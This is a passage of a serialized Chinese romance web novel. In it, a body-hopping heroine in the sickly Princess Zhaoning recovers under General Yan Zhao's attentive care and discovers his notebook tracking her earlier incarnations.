燕钊道:“先生多虑了,我之所以对她如此上心,并非因私情或怜惜。我不放心,是因为这个人真的不怕死,我担心一个不留神,又让她‘金蝉脱壳’了。” 杜言微怔,随即恍悟:“将军是觉得‘那个人’又回来了?成为了昭宁公主?” 他插手,严肃地问:“将军可有十足的把握?” 燕钊道:“没有十足,也有九成了。身边有这样一个来去无踪意图难测的存在,我岂能安心。” 杜言想了想,叹道:“也罢,心魔不除,心病难消。既然已有九成把握,那无论是与不是,都要弄个水落石出,方能定下心神。” 燕钊自嘲地笑了下,问:“陈义他们到哪里了?” 杜言道:“两月前已到苗疆一带,据说那边有巫医通晓操控魂魄之术。”他皱眉,“陈义这队人已经在外三年,足迹遍布大江南北,可至今一无所获。若是这次再没有收获,可还要继续找下去?” 燕钊没有犹豫:“她如今又回到我身边,证明我的猜测没有错。她确实存在,而且以一种常人无法理解的方式,周旋在我身边。既是常人不能理解的,也就只能寻求非常之法。” 杜言拧眉,问出了关键:“既然将军笃定她对你并无恶意,甚至有回护之心,那为何不索性将话挑明,开诚布公问个清楚,省去诸多周折。” 燕钊微顿,道:“我怕她是受人所迫身不由己,不得不做这些事。若贸然揭开,她可能会因为恐惧或某种约束,再次消失。” 杜言摇头叹气,无奈道:“恕属下直言,您如今这般待她,事事亲力亲为,关切备至,未免也太明显了些。她稍有心思,岂会察觉不到?” 燕钊道:“我就是要让她自己猜出来,把选择权交到她手里。她若继续隐瞒,想必是有不得已的苦衷,那我便陪她演下去。她若愿意信我,坦诚相告,自是再好不过。无论她作何选择,我都会想办法助她重获自由。” 杜言道:“鬼神之说,虚无缥缈,巫医之术,真假难辨,多有装神弄鬼招摇撞骗之徒。你若执着此道,难免为人所乘。” 燕钊道:“非我执着,而是命运将她缚于我处。我三岁时,她第一次出现,到如今已有二十年。一次次来,又一次次走。她困于此局不得解脱,若连我都放手,这世上还有谁能帮她?” 杜言又是摇头叹气。 燕钊道:“先生叫我出来就是为这事吗?那先生以后不必再劝了。只要她一日未得自由,我便一日不会放弃。” 燕钊打发走杜言,回到房中时,一名婢女正拧了帕子,准备给苗悦擦拭额上的虚汗。 “我来。”燕钊接过帕子。婢女退到一旁。 燕钊在床边坐下,擦拭起苗悦额角脖颈的汗,将黏在脸颊的发丝理顺,别到耳后,又用帕子给她擦手。 昏睡中的苗悦手指无意识收拢,握住了他的食指。 燕钊动作顿住,任由她这么抓着。 苗悦的嘴唇翕动了几下,发出模糊而急促的呓语。 “阿芦……快跑……” 阿芦? 阿芦…… 燕钊清晰地捕捉到了这个熟悉的名字。 他握着苗悦的手,俯身到她耳畔。 “阿芦在这……你是谁?” 苗悦轻声说:“快跑……” 她说完,又沉沉睡去。 燕钊笑了下,把被子给她掖好。 次日清晨,燕钊照例将人扶坐起来,让她靠在自己怀里,准备喂药。 当手背碰触到苗悦皮肤时,感觉到温凉的汗意,高热已经退了。 苗悦整个人软绵绵的,像被抽走了骨头,靠在他胸前。 她从未生过这么重的病,无论是在穿越前还是穿越后,有点头疼脑热都是硬扛过去,何曾像现在这样,虚弱到连吞咽都费力,将性命完全交托在另一个人手上。 她倚着身后温暖坚实的身体,咕哝了一句:“阿芦……我病了几天了?” 身后的人沉默了。 片刻后,一个熟悉又陌生的男声响起:“三天了。” 苗悦睁开眼,侧头向上看去。 映入眼帘的,是燕钊线条分明的下颌。 他低垂着头,凝视着她。 苗悦眨了眨眼,花了点时间才将眼前这张俊脸,与记忆中的某个身份对上号。 她慢吞吞地转回头,轻轻叹了口气:“是你啊……” 燕钊顺着她的话,静静地反问:“你认识我……那你又是谁?” 苗悦眼神逐渐清明。 大红的喜床,大红的帐幔,墙上金色双喜字。 她重新闭上了眼,依旧那样软绵绵地,靠在燕钊身上。 “我是……昭宁公主。” 第59章 苗悦的高热虽然退了, 但整个人依旧恹恹的,没什么精神,每日大半时间都窝在床上。 她发现昭宁公主身边那几个惯会拿乔的仆妇都不见了, 只剩下了四个看着眼熟的年轻小丫头。 另外还有一个约莫 三十多岁的面生妇人。 那妇人自我介绍:“妾身夫家姓周,是个校尉。得知夫人身边缺得力人手照看, 便让妾身过来帮衬几日。夫人唤我柳娘就好。” 她说着, 端上来一碗浓黑的汤药, 劝道:“刘太医说了, 这病来得急, 去得也快, 再喝几日药便无大碍了。” 苗悦皱眉, 别过脸。 她当燕承嗣的时候,硬着头皮灌了大半年的苦药,如今换的这个身体, 又没有药瘾, 不是非喝不可。 “不喝了, 以后都不喝了,闻着就想吐。” 正说着, 燕钊来了。 柳娘见状,知道这里没自己事了, 放下药碗退了出去。 燕钊端起药碗,朝门外的亲兵使个眼色。 很快,亲兵端着一个大托盘走了进来。 托盘上琳琅满目,摆着各色蜜饯、点心和糖果,甜香四溢,瞬间冲淡了空气中的药味。 苗悦的眼睛亮了,抻着脖子张望。 她已经四五天没好好吃东西了。 “把药喝了, ”燕钊的声音带着不易察觉的诱哄,“这些都给你。” 苗悦天人交战了片刻,最终,口腹之欲战胜了对苦味的恐惧。 她接过药碗,捏着鼻子,一口气灌了下去。 然后,她欢天喜地地先挑了一个最想吃的蜜饯放嘴里,又要去拿点心。 她的指尖刚碰到点心盘,那亲兵往后一撤,端着整个托盘走了。 走了…… 苗悦愣了,手僵在半空,难以置信地看向燕钊。 燕钊道:“刘太医说了,你病体初愈,脾胃虚弱,忌食荤腥甜腻之物,以免加重病情。” 苗悦的眼睛瞪得老大。 “你……你居然骗一个病人?”她指着燕钊,手指微微颤抖,“不给吃,你拿出来馋我干什么?!” 燕钊眼底略过笑意:“给你吃,只是不能在一天吃。” 苗悦气得差点背过气去。 忌食荤腥甜腻,那好吃的不都是荤腥甜腻吗,苗悦觉得自己简直比黄连还苦。 “这不让吃,那不让吃……”她往床上一趴,绝望的控诉,“活着还有什么意思,死了算了。” 一股大力猛地攫住了她左臂。 “啊!”苗悦惊呼一声,坐了起来。 燕钊的脸阴沉得可怕,他的手收得很紧,力道大得让苗悦觉得有点疼。 那句随口而出的“死了算了”,像一根毒针,精准地扎进燕钊心口。 燕承嗣死后很长一段时间,他经常会做一个梦。 梦里,时空错乱,场景变换。 他看着陈阿大自尽,看着石红玉中箭倒下,看着燕承嗣满身是血……这些曾给过他温暖的人,一次次在他眼前死去。 他想冲过去,全身却像没有力气,动弹不得。 无论现实的他如何手握重兵,梦里的他始终是那个无力回天的孩子。 苗悦被他看得莫名心虚,却又不明白自己说了什么,惹得他如此生气。 她下意识挣扎了一下,那桎梏却纹丝不动。 她挺了挺背脊,抬抬下巴,拔高音量:“你干嘛?” 燕钊胸膛微微起伏,盯着她看了许久,翻涌的情绪才渐渐平复,恢复了一贯的深沉。 他缓缓松开手。 苗悦抽回胳膊,怒气冲冲地瞪着他,夸张地揉着被攥住的位置。 燕钊转头对候在门外的亲兵吩咐道:“把东西端回来。” 亲兵又将那盘点心端了回来,放在桌上。 燕钊嘱咐道:“少吃一点。” 苗悦嘟囔着:“莫名其妙……” 苗悦如愿以偿地吃到了精致的点心。 考虑到大病初愈,她非常克制地只吃了三块,下午没忍住又吃了两块,另外喝了一碗香香甜甜的杏仁酪,十分满足。 半夜,报应来了。 胃里像是揣了一块烧红的炭,疼得她缩成一团,额头上瞬间布满冷汗。 剧烈的恶心感涌上来,她趴在床边,吐了个干干净净。 婢女吓得脸色发白,要去禀报燕钊,被苗悦死死拉住。 白天燕钊千叮万嘱不许她多吃,她自己非要贪嘴,结果夜里就吐了。 这么丢人的事,要是让燕钊知道了,岂不是被他笑话死。 可自打前几天赵嬷嬷等人被燕钊动用军法赶出府后,丫鬟们都长了记性。 在这个府里,刀在谁手里,谁才是真正的主子。 她们不敢拿自己的前程和皮肉开玩笑。 尽管苗悦百般阻拦,还是有机灵的丫鬟,趁着端水的工夫,悄悄溜出去禀报了燕钊。 于是,大半夜的,刘太医又火急火燎地过来了。 他诊脉后,无奈地叹了口气,重新开了消食导滞和胃止呕的药方,又拿出银针,在苗悦手上扎了几针。 苗悦认命地灌下了一碗比白天更苦的药汁。 她再也不嫌弃陈阿大脏,也不嫌弃燕承嗣有药瘾了,和昭宁公主相比,她以前用过的所有身体,包括她自己的,都好得不能再好了。 燕钊站在床边,一言不发地看着她,既没有责备她贪嘴惹祸,也没有拿出蜜饯安抚她的意思。 苗悦咂咂嘴,自知理亏,没好意思开口讨要。 她好怀念三岁的燕钊,可爱又嘴甜,干活积极又麻利,关键是听话。 苗悦小声辩解:“其实我真没吃多少,就五块点心,一小碗杏仁酪,谁知道这身子这么不争气。” 燕钊深深吸了一口气,又缓缓吐出。 “明日让刘太医跟厨子一起琢磨琢磨,给你做些好吃又能补身子的点心。” 他这样一说,苗悦很不好意思。 她抬起眼,悄悄打量燕钊。 烛光映照下,他的眉骨投下浅浅的阴影,衬得那双眼透出几分罕见的温和。 或许是因为夜深人静,又或许是因为她病着,燕钊周身惯常的冷硬气势敛去了不少。 看着这样的燕钊,苗悦忍不住问:“你为什么对我这么好?” 燕钊无奈道:“有什么办法?我要是对你不好,你又跑了怎么办?” 苗悦说:“不会。你看我这身子,我跑出去一次,就要生好几天的病。之前是因为不了解情况,以为你是个很凶的人,现在知道你对我好,我肯定不会再跑了。” 燕钊笑了一下,说:“所以你瞧,还是因为我对你好,你才不跑的。” 苗悦想了想,如果燕钊对昭宁公主不好,然后昭宁公主身体又这么差,那这日子真没法过,不如去四方会拿上钱自由自在。 她点头:“也是。” 燕钊看她一眼,抿了抿唇,说:“城里还有两个比较出名的大夫,明天把他们请到府上,一起给你看一看。” 苗悦“啊”了一声,痛苦地说:“我不会又要长期吃药吧?烦死了……” 次日一大早,燕钊果然将城中两位最有名的老大夫请进了府,连同刘太医一同为苗悦会诊。 阵仗着实不小。 三位大夫轮流诊脉,时而捻须沉思,时而低声交换意见。 刘太医心中颇是不满,自觉太医身份尊贵,与这些地方郎中同堂会诊有失体统,脸色一直不太好看。 幸好那两位大夫深知其太医院背景,言语间相当恭敬,凡事皆以他为首,即便诊出不妥,也先怀疑是不是自己医术不精,这才勉强将刘太医那点不快压了下去。 经过一番看似热烈实则以刘太医意见为主的讨论,三人最终凑出了一张新的药方。 不出半个时辰,一碗全新的汤药便端到了苗悦面前。 苗悦看着那碗药,又抬眼看向坐在一旁的燕钊,提醒他:“从昨天早上到现在,这是第四碗了,真的不会喝死人吗?” 燕钊道:“大夫说了,这碗是固本的,喝了之后,后面改为一日两次即可。” 苗悦盯着那碗黑黢黢的汤药,又瞥了一眼稳坐如山的燕钊,道:“咱俩才认识几天,什么仇什么怨啊。” 燕钊唇角弯了一下,非但没走,反而调整了一下坐姿,摆出了一副“你不喝我就不走”的架势。 苗悦瞪着他,要是自己死活不喝,他能怎么样?难不成还能硬灌? 她端起药碗,眼神瞟向地面,如果不小心手一滑…… 燕钊看穿了她的心思,开口:“厨房里还熬着很多。若是这碗不小心撒了,马上再给你端一碗来。” 苗悦:“……你就非得亲眼看着我把它喝下去才走?” 燕钊点了点头。 苗悦哀叹,以前怎么没看出这人骨子里这么偏执! 她狠狠瞪了燕钊一眼,咬牙把药灌了下去。 燕钊从袖中取出一个小巧的锦袋,递到她面前。 里面是晶莹剔透的糖霜。 “太医说,糖霜性凉润喉,比蜜饯更适合此刻服用。” 苗悦惊讶地拈起一小块含在嘴里,清甜的滋味瞬间冲淡了苦涩。 她抬眼看看面前含笑的青年,又低头看看锦袋里细碎的晶亮颗粒。 糖霜制作费时费力,尤其在衡州这种湿热地方,稍不注意就会受潮融化,非得仔细存在冰窖里才能保住品相。 燕钊确实是个细心的人,可细心到连解苦的零嘴儿都要如此精挑细选,他未免对昭宁公主太上心了些。 第60章 苗悦病势稍缓, 能起身见客时,李晏前来探望。 昭宁公主大病初愈不宜受风,李晏又是她名义上的堂兄, 且是送亲队伍中唯一的“亲戚”。 燕钊不是计较的人,为方便苗悦, 准许李晏进入小院。 柳娘现在算是公主院子里的管事, 有了燕钊的授意, 不再拦着李晏, 将人请进前厅, 备上茶水就退了下去。 两人在前厅叙话。 李晏担心了好几日, 见到她就说:“你这次前前后后病了有七八日, 还请了三个大夫会诊。昭宁虽然体弱,路上也常有些小病小痛,却从未像你这般凶险。” 苗悦叹气:“我新接手这身体, 没摸清底细, 在吃食上有些放肆了。不过会诊什么的, 是燕钊大惊小怪。但经过这一遭,我也算是真真切切地领教了, 什么叫作‘弱不禁风’。” 李晏道:“往后还是多加注意,否则受罪的是你自己。”他停了下, 清清嗓子,“刘太医已经跟燕钊说了,你的身体……嗯……不适合……” 这话无论如何不该由他这个“堂兄”来说,再怎么着,也该是公主身边贴身的嬷嬷私下提点才合情理。 可眼下实在是没法子。 苗悦并非真正的昭宁公主,她只是一缕借壳而生的魂魄,此事唯有他二人知晓。 他硬着头皮继续道:“不适合圆房。” 苗悦挑眉, 瞥眼房门外侍立的丫鬟,低声问:“燕钊以前,是不是见过昭宁公主?” 李晏仔细回想了一下,道:“昭宁公主家在丹阳,与燕钊的生活轨迹并无交集。即便燕钊曾去过丹阳,郡王府门第森严,他一个外男,也绝无可能见到深闺中的公主。两人此前相识的可能性微乎其微。”他顿了顿,补充道,“当然,世事无绝对,话也不敢说得那么满。” 苗悦追问:“所以这次联姻,是他俩头一回见面?” 李晏想了想:“其实直到我准备返回长安前,他们二人甚至连一次正正经经的照面都未曾有过。这桩婚事,燕钊本人并不上心。从头至尾操持忙碌的,都是他身边那位杜先生。” 苗悦皱眉。 李晏问:“怎么了?” 苗悦道:“我觉得燕钊对公主太好了。如果他之前从没见过昭宁公主,也没把这婚事放在心上,那根本解释不通。我怀疑他猜出什么了。” 李晏沉吟片刻,道:“若燕钊真对你起了疑心,以他如今的权势和心性,他有的是办法逼问真相,何必如此大费周章,劳心劳力。” 苗悦眉头皱得更紧:“说的也是……” 李晏又道:“而且,现实中的公主没有逃婚,自然也没有病上这许多日。燕钊即便有心,也没有机会像现在这般事事亲力亲为。不过,”他想了想,“我也觉得,这个世界里的燕钊脾气性情要温和许多,对你的耐心和细致也远超常理,似乎……” 他说到这停了下来,侧过头,目光落在苗悦脸上,带着一种重新审视的意味。 李晏对昭宁公主原本的印象非常模糊浅淡。 整个送亲途中,这位公主几乎都蜷缩在马车里,用膳休憩也极少露面,只在入住驿馆时才能偶尔瞥见一个被侍女搀扶着的、柔弱不堪的侧影。 在他记忆里,昭宁公主就是一个沉默寡言病病殃殃的影子。 此刻近距离细看,他才发现,李昭宁其实生得眉眼清秀,一张脸只有巴掌大,下巴尖尖的,配上那过分苍白的肤色和总是带着几分倦怠的神情,别有一种我见犹怜、惹人担忧的病态之美。 “似乎什么?”苗悦疑惑地看着他,等着下文。 李晏不愿说出他的猜测,可转念一想,若苗悦能对此心中有数,或许对后续行事更为有利。 他斟酌道:“有没有可能,那晚寻到你时,你们有了肌肤之亲。燕钊这个人或许本就格外怜惜病弱无依我见犹怜的女子。” 苗悦微怔,眼珠转了转,惊道:“你是说,燕钊喜欢李昭宁这样的病……” 李晏忙使了个眼色,示意她噤声,莫要声张。 苗悦闭上了嘴,但心里已翻腾起来。等李晏一走,她立刻唤婢女取来一面铜镜。 因为这里是记忆世界,苗悦对每次占据的皮囊样貌并不在意。 可李晏那句意有所指的话,让苗悦生了几分好奇,仔细端详起镜中那张陌生的脸。 昭宁公主是漂亮的,眉眼精致,鼻梁秀挺,唇形姣好。 然而,过分苍白的脸色,几乎看不到一丝血红,美则美矣,却有种毫无生气的冷意。 这是一种浸透了药香的病态美,琉璃般易碎,柔弱得令人心生怜惜,却又不敢轻易触碰。 与苗悦本人截然相反。 苗悦对着镜子蹙眉、抿唇,镜中人也跟着做出一系列表情,但无论如何,都掩盖不住从骨子里透出来的虚弱感。 她放下镜子,心里嘀咕,看起来不止心脏有问题,估计还有贫血。 这样的躯壳,根本承载不住苗悦那种活泼跳脱带着野性的灵魂。 可以预见,在未来的日子里,稍不注意,身体便会不堪重负,再次病倒。 燕钊竟然喜欢这样的? 想到自己养大的男人,居然有点变态,苗悦心里不是滋味。 又过了两日,天气晴好,苗悦觉得身上松快了些,便披了件薄衫,到院子里坐着晒太阳。 一个小丫鬟抱着一包东西从院外进来,笑着与守门卫兵打招呼。 那两个门卫也笑着回应她。 小丫鬟走到苗悦身边,讨好道:“夫人,您看这毛色多好,奴婢想着给您做个披肩……” 这丫鬟是个细心的,看出公主比寻常人畏寒。 早春四月,衡州已十分湿热,寻常人穿着单衣都觉得有些黏腻,苗悦却仍觉得空气中带着丝丝凉意。 柳娘笑着说:“夫人缺什么,尽管跟将军开口便是,将军哪有不依的?自然会给夫人置办最好的。” 小丫鬟抿嘴一笑,接口道:“柳姐姐说得是,夫人如今喝的药,里头有味五十年的老山参,是将军亲自从一位老药农手里求来的。” 柳娘连连点头:“将军还专程雇了个擅做药膳的厨子来,夫人平日用的那些点心,里头加的灵芝、茯苓,都是精挑细选的上等货。可见将军心里是真真装着夫人。” 柳娘眼下只是临时照料公主起居,但谁都看得出,凭她的稳妥与细心,将来极大概率会成为这院中最高等的管事嬷嬷。 她夫君又在燕钊身边当差,她若能长久侍奉在将军夫人身边,于她夫君的前程自然大有裨益。 如今见将军对夫人关怀备至,柳娘看在眼里,心中自是欢喜不已,得空就在苗悦面前讲燕钊的好话。 正说着,院门口传来动静,燕钊来了。 柳娘一见将军来了,又瞧见他手里拿着东西,抿嘴偷笑,给那小丫鬟递了个眼神,悄无声息地退远了。 燕钊走 到苗悦面前,将手中衣物递了过来。 那是一件质地柔软颜色素雅的披风。 “让人赶制的,用料寻常,你先将就着用。这边气候比丹阳更加湿冷,你身子弱,容易受风,披上这个会好些。” 苗悦说:“谢谢。” 燕钊看了眼退到廊下的丫鬟们,他略一迟疑,便抖开披风,上前一步,将它披在苗悦肩上。 披风的前襟有两根系带,他打结的动作并不熟练。 苗悦有些不自在,轻声道:“我自己来吧。” 燕钊动作一顿,直起身,沉默地看着她。 苗悦低下头,飞快将系带打了个结。 就在她准备收回手时,燕钊忽然抬手,轻轻攥住了她手腕。 灼人的体温透过她微凉的皮肤,源源不断传来。 苗悦的手腕苍白细瘦,皮肤下淡青色的血管依稀可见。 而燕钊的手很大,指节分明,因为常年握缰持剑,掌心覆着一层粗糙的薄茧,皮肤是日晒风吹后的深色。 他只是这样轻轻握着,甚至没有用力,却已让苗悦感觉到力量的悬殊。 燕钊皱眉:“怎么这么细。” 苗悦想起了李晏的话。 她一下子抽回手,瞪了一眼燕钊,转身嘀咕:“变态。” 燕钊手中一空,又见她不悦,顿时讪讪的。 “我想给你做一件防身的暗器。”他解释,“不是有意唐突。” 苗悦说:“这院子围得像铁桶一样,连只苍蝇都放不进来,我哪需要暗器防身。” 她坐到石凳上,拢了拢新得的披风,一股暖意包裹上来,确实舒服了不少。 燕钊看了眼院门口值守的士兵。 当初是他下令,要“将人牢牢看住”。这道命令并未撤销,亲兵们自然不敢有丝毫懈怠,依旧将这里守得密不透风。 燕钊走到她对面坐下,沉吟片刻,道:“我打下衡州时日尚短,城中仍有不少旧势力心怀不满。安排这些人手,是为了护你周全。” 苗悦撇撇嘴:“是保护还是监视,你心里清楚。” 燕钊道:“你若不喜,我将他们撤了便是。” 苗悦没想到他这么好说话,也放软了语气。 “那我可以到处走吗?” 燕钊道:“府衙之内,你随处可去。但如果是出府,还是叫我陪你一起。” 苗悦这才高兴了。 “那我现在就要在府里逛逛,很多地方都不认识呢。” 燕钊见她笑了,也笑了,扶她站起来,只觉得手下的人轻飘飘的。 他说:“刘太医说你近日好了许多,可以适当进些荤腥了。我吩咐了厨房,每日炖些鸡汤给你。你多吃点,实在太瘦了。” 苗悦点头,道:“那肉要……” “炖的软烂。”燕钊接道,“我已经嘱咐过了。”《 》 60-70 第61章 两人一边走, 燕钊一边向苗悦介绍。 “这府邸是占了前任刺史的,仓促间搬进来,许多地方都来不及修缮, 只粗略打扫了一番,勉强能用。你看着哪里不合用, 或是还缺什么, 只管吩咐下去, 让他们添置。” 他侧头看向她, 补充道:“你若看中了其他院子, 也可以直接跟我说, 我让人收拾出来, 你搬过去住。” 苗悦对住在哪里并不太在意,只是觉得燕钊对公主真的太好了,让她勉强压下去的疑惑又冒出头来。 两人继续往前走。 走得越远, 越显出将军府的冷清。 有家眷的将领都在外自有宅院, 不会住在这里。 燕钊没有家眷, 府中居住也都是像他这样尚未成家的部属。 白日里,将领兵士们各司其职, 要么在校场练兵,要么在外当值, 府内便显得空荡寂静。 偌大的将军府,更像一个功能齐全的单身汉军营。 院落大多无人打理,廊下也少见寻常官宦人家那种穿梭往来的丫鬟仆役,只有按固定路线巡逻的士兵,反添几分肃杀。 苗悦叹道:“这府里哪都好,就是少了些生气。放眼望去,尽是些青灰砖石。” 燕钊道:“前刺史逃走时, 下人们乱作一团,能带就带能搬就搬,带不走的也有不少被砸毁破坏。我们接手时满地狼藉。我对这些身外之物要求不高。手下人也只懂行军打仗,不懂布置居所。那些坏了的东西搬走后,也就没再添置新的,成了如今这副样子。” 苗悦道:“其实也不难,添些颜色就好看多了。” 燕钊道:“现在有你在,正好可以把这件事交给你。府里银钱你尽管支取,人手也随意调派。” 苗悦来了兴致:“那我想亲自去挑些花木。” 燕钊想了想:“城南有个花市,每逢初五、十五开市,汇集了各地的奇花异草。你若想去,我陪你走一趟。” 苗悦欣喜地点头:“那就这么说定了。” 在院子整整困了半个多月,苗悦心都飞了。 两人穿过几道月亮门,来到一处守卫森严的院落。 院门口站着两名亲兵,见到燕钊,无声地行礼。 “这里是我的院子,起居办公都在这。”燕钊说着,引苗悦走了进去。 院子里陈设简单,青石铺地,正房的门敞开着,可以窥见里面的情形。 东厢改成了书房,燕钊在门口停下,推开房门。 “你若闷了,想找些书看,可以随时过来。不过我这里书少,杜先生那边更多,找他也可以。” 苗悦探头朝里望了一眼。 屋内两面墙是书架,上面堆满了书册卷轴,有些摆放整齐,更多的则是随意摞在一起。 中央一张巨大的书案,上面公文、地图、笔墨纸砚堆得像小山一样,乱中有序。 苗悦的目光扫过书案,忽然定住了。 案头当中,摊开着一张绘制精细的弩机结构图,旁边还放着一架被拆解开来的实物零件。 这场景仿佛回到了临峣城石关山书房。 苗悦不由自主地走了进去,来到书案前,仔细端详起那张图纸。 燕钊跟在她身后,也看向图纸:“你看这弩机,还有什么可以改进的地方?” 苗悦将图纸上的构造与她所知的现实中的弩机进行比对,随即意识到,此时距离现实节点不过三年,燕钊军中的弩机工艺已经发展得相当成熟,与她了解的构造相差无几,即便有些细微的尺寸差异,也早已超出了她能看出来的范畴。 她摇头:“这种利器我看不懂。” 燕钊伸手点在几个关键部位。 “此处咬合易松,击发时力道会散。还有这里,机簧与箭槽的配合,总是差一分。总觉得还有多处可以改进,可是动一处,另一处便受牵制,难以两全。” 他说着,顺手拉开抽屉,从中取出一个陨铁制成的小巧机括,将其放在图纸上对应的位置。 苗悦的目光追随着他的动作,往那敞开的抽屉里瞟了一眼。 这一眼,她的视线便挪不开了。 抽屉里物件不多,每一样都有自己的位置,最显眼处是一个发黄的册子,旁边放着一个小巧的银纹手钻。 苗悦盯着那银纹手钻,呼吸微滞。 燕钊似乎没注意,自顾地拿着那个陨铁小机括在图纸上比划:“我刚做了这样一个,不知道合不合用……” 话音未落,门外传来亲兵的禀报声:“末将有要事回禀,请将军示下。” 燕钊看了一眼门外,对苗悦说:“你在这休息会儿,我去去就回。” 说完,他放下手里的东西,走出书房,顺手带上了房门。 等他一走,苗悦立刻拿起那银纹手钻,仔细端详,确定这就是“陈阿大”送给燕钊的那个儿童启蒙雅具。 因年代久远,金属表面已有些氧化发暗,但依然能看出被精心保养的痕迹。 刹那间,属于陈阿大和幼年燕钊的记忆碎片,不受控制地翻出来。 瘦小的男孩双眼发亮地接过这份礼物,视若珍宝。 他用这枚小手钻,一点点打磨钻孔,最终做出了改变他命运的燕尾扣雏形…… 此刻再看到这枚被珍 藏至今的小手钻,苗悦心底泛起丝丝快乐。 她伸出手,抚过冰凉的金属表面,嘴角弯起。 原来,她对他的那些好,都被他好好收着。 她将手钻放回去,指尖碰到那本半旧不新的黄皮册子,随手一翻。 几个熟悉的字眼突兀地出现。 苗悦看眼紧闭的房门,确定燕钊一时半刻回不来,忙将册子捧到眼前,一页一页地看了下去。 首页开篇,是书写时间,而后分段落简介有序做出记录。 “阿娘,仅存一日。胆大,正直,喜欢孩子。” “陈阿大,应顺七年,秋,约存七日。异常表现:讲究饮食,自行烹制,喜食软肉……关注仪容,对年轻女子服饰妆奁表现出超乎常理的兴趣……嗜甜,喜食漂亮的糕点……爱享受……掌握基础外伤处理手法……” “石红玉,熹帝二年,出现至死亡约二十二个月。重视物质享受,饮**细……爱财,了解珠宝器物的价值……擅用美人计……对暗器有兴趣,追求轻便隐蔽防身手段,武功招式偏江湖盲流……” “燕承嗣,哀帝元年,出现至死亡约十个月。懒散,喜亲近俊朗少年郎……” 每个人从存续时间到异常行为都有详尽描写,起始与终结的原因标注得清清楚楚。 更可怕的是,在一些习惯旁,比如对饮食的挑剔,对甜点的偏好,对暗器的选择,都用朱砂笔画了记号,后面缀着小字批注。 “行为高度相似。” “疑为同一人。” 苗悦心脏狂跳,抖着手继续向后翻。 在“燕承嗣”之后,内容有了变化。 “暗查燕氏祖宅,翻检旧牒,遍询老仆,欲寻血脉承继之异状,终无所获。” “潜入陈家村,于隐太子庙废墟中掘地三尺,未果。” “铁屏寨旧址已为焦土,搜寻数日,凡有疑处皆掘而视之,一无所获。” “重金贿通内侍,于秘阁暗查前朝‘离魂’‘附体’之诡录,卷帙浩繁,皆虚妄之谈,无所获。” “陈义赴凉山,乔装药商,混入巫医之列,详询‘易容改貌’‘借尸还魂’之秘药,未得真解。” “北上崂山,访玄门正宗,询‘黄粱一梦’‘离魂入幻’之术,所得皆为虚谈,无实证。” “深入蜀中,查‘夺舍’‘移魂’之法,探**与魂魄相斥之症,线索渺茫,待续查。” “深入南疆瘴疠之地,探‘定魂’、‘控心’之巫蛊秘法,归期未定。” 一条条,一件件,记录着燕钊在理智与玄诡的边缘寻找真相。 最近的一次记录,墨迹尚新,就出现在数日前,只有四个字。 “她回来了。” 苗悦脊背发寒。 她抖着手指,翻回本子的第一页。 记录的时间,始于燕承嗣死后大约四个月。 应该是燕钊彻底接手燕家军,站稳脚跟,终于有了余暇的时候。 他用一天的时间,把苗悦数次出现时的异状记录下来。 十天后,第一队人马便被派往了燕家祖宅。 在之后接近三年的时间里,燕钊的调查从未停止。 他的触角伸向了江湖、朝堂、边陲、苗疆……所有可能与“借尸还魂”、“离魂附体”扯上关系的地方,都被他查了个遍。 苗悦第一次对自己产生了深深的怀疑。 她真的能在这样一张持续收紧的大网下,隐瞒住自己的身份吗? 门外响起了脚步声和说话声。 苗悦手忙脚乱地将册子塞回抽屉,强逼自己镇定下来。 燕钊推门而入,手中拿着一个黑乎乎的玩意。 他走近几步,将那东西递过来,笑道:“试试这个。” 苗悦伸手,燕钊却没有将东西放入她手中,而是托起她手腕,将一个乌木腕扣环在她的腕上。 腕扣离皮肤尚有空间,晃荡不定。 苗悦的手指缩了一下。 她曾经心心念念的腕扣,此刻只想把它扔出去。 自从看到了黄皮册子,燕钊做出的每一个与过去相关的举动,落在苗悦眼中,都成了裹着温柔外衣的试探。 燕钊将腕扣取下。 “原想着用陨铁来做机括,使它能连续击发。但没料到,你手腕这么细。现在留给它的空间太小了,很多布局,都得推倒重来。若单论暗器,丝线其实多余。即便它能至两丈外,终究不够隐蔽。省去丝线,能勉强再容下一针。你觉得呢?” 他的语气仿佛在与军中匠作探讨工艺。 这个对话绝对不应该出现在燕钊与昭宁公主之间。 上一回,燕承嗣临死前,燕钊好像说了什么? 他是不是问“你究竟是谁”? 苗悦想不起来了,她那时太疼了,又以为记忆世界要崩了,只想怎么找补。 而且燕钊似乎经常问“你是谁”,问得多了,苗悦都不当回事了。 没想到,他每一次都是认真的。 苗悦微微偏头,看到燕钊低垂的线条利落的侧脸。 如果燕钊猜出来了,那他此刻的平静底下,究竟藏着怎样的审视与谋划? 苗悦扯了扯嘴角:“你说的我根本听不懂,暗器什么的,我也不会用,放在我手上反倒危险。” 燕钊看她,问:“你脸色很差,不舒服吗?” 苗悦扶住椅背:“今天走得久了,有些累。我想回去休息了。” 燕钊放下图纸,扶她站起,道:“是我疏忽了。” 两人一前一后走出书房。 候在外面的丫鬟忙上前扶住苗悦。 苗悦对燕钊道:“将军留步,我自己回去就行了。” 燕钊停下脚步,看着她,说:“好。” 等苗悦身影消失,燕钊回到书房。 他将摊开的图纸仔细卷好,放入专用的铜管中,收入抽屉。 指尖触到那本黄皮册子时,他动作一顿,想起她告退时那过于恭谨的称呼,眉头皱起。 是吓到了吗? 以“她”的胆识和心性,应当不至于。 他从怀中取出一把黄铜小锁,“咔哒”一声,将抽屉锁住—— 作者有话说:明天周三,休息一次 第62章 出了燕钊的院子, 转过一道回廊,苗悦停下脚步,问丫鬟:“李大人住在哪?” 那丫鬟一时没反应过来。 苗悦补道:“就是我堂哥, 李晏。” 丫鬟恍然大悟,指着西边方向:“李大人住在西跨院, 穿过前面那个月洞门再走几步就到了。” 苗悦顺着丫鬟指的方向迈步, 走得很急。 丫鬟不敢怠慢, 忙扶住她, 朝西跨院走去。 刚穿过月洞门, 苗悦前心忽然一阵刺痛。 她不得不停下脚步, 一手摁住心口, 连连深呼吸。 丫鬟吓得声音变了调:“夫人,您慢一点,别着急, 慢点走。” 苗悦苦笑, 自己真是急昏了头, 又忘了这具身体何等柔弱,根本经不起疾走。 她站了许久, 心跳才恢复平稳。 她不敢再像刚才那般急切,只能由丫鬟搀扶着, 慢慢地朝西跨院挪去。 刚进西跨院的门,苗悦就看到了周隐。 周隐微怔,随即迎了上来,行礼:“夫人。” 苗悦看向屋内:“李晏在吗?” 几乎是同时,屋门被人从里面拉开,李晏身影出现在门口。 他看到苗悦脸色苍白气喘吁吁,立刻皱起了眉, 命周围人都退下。 院门合拢。 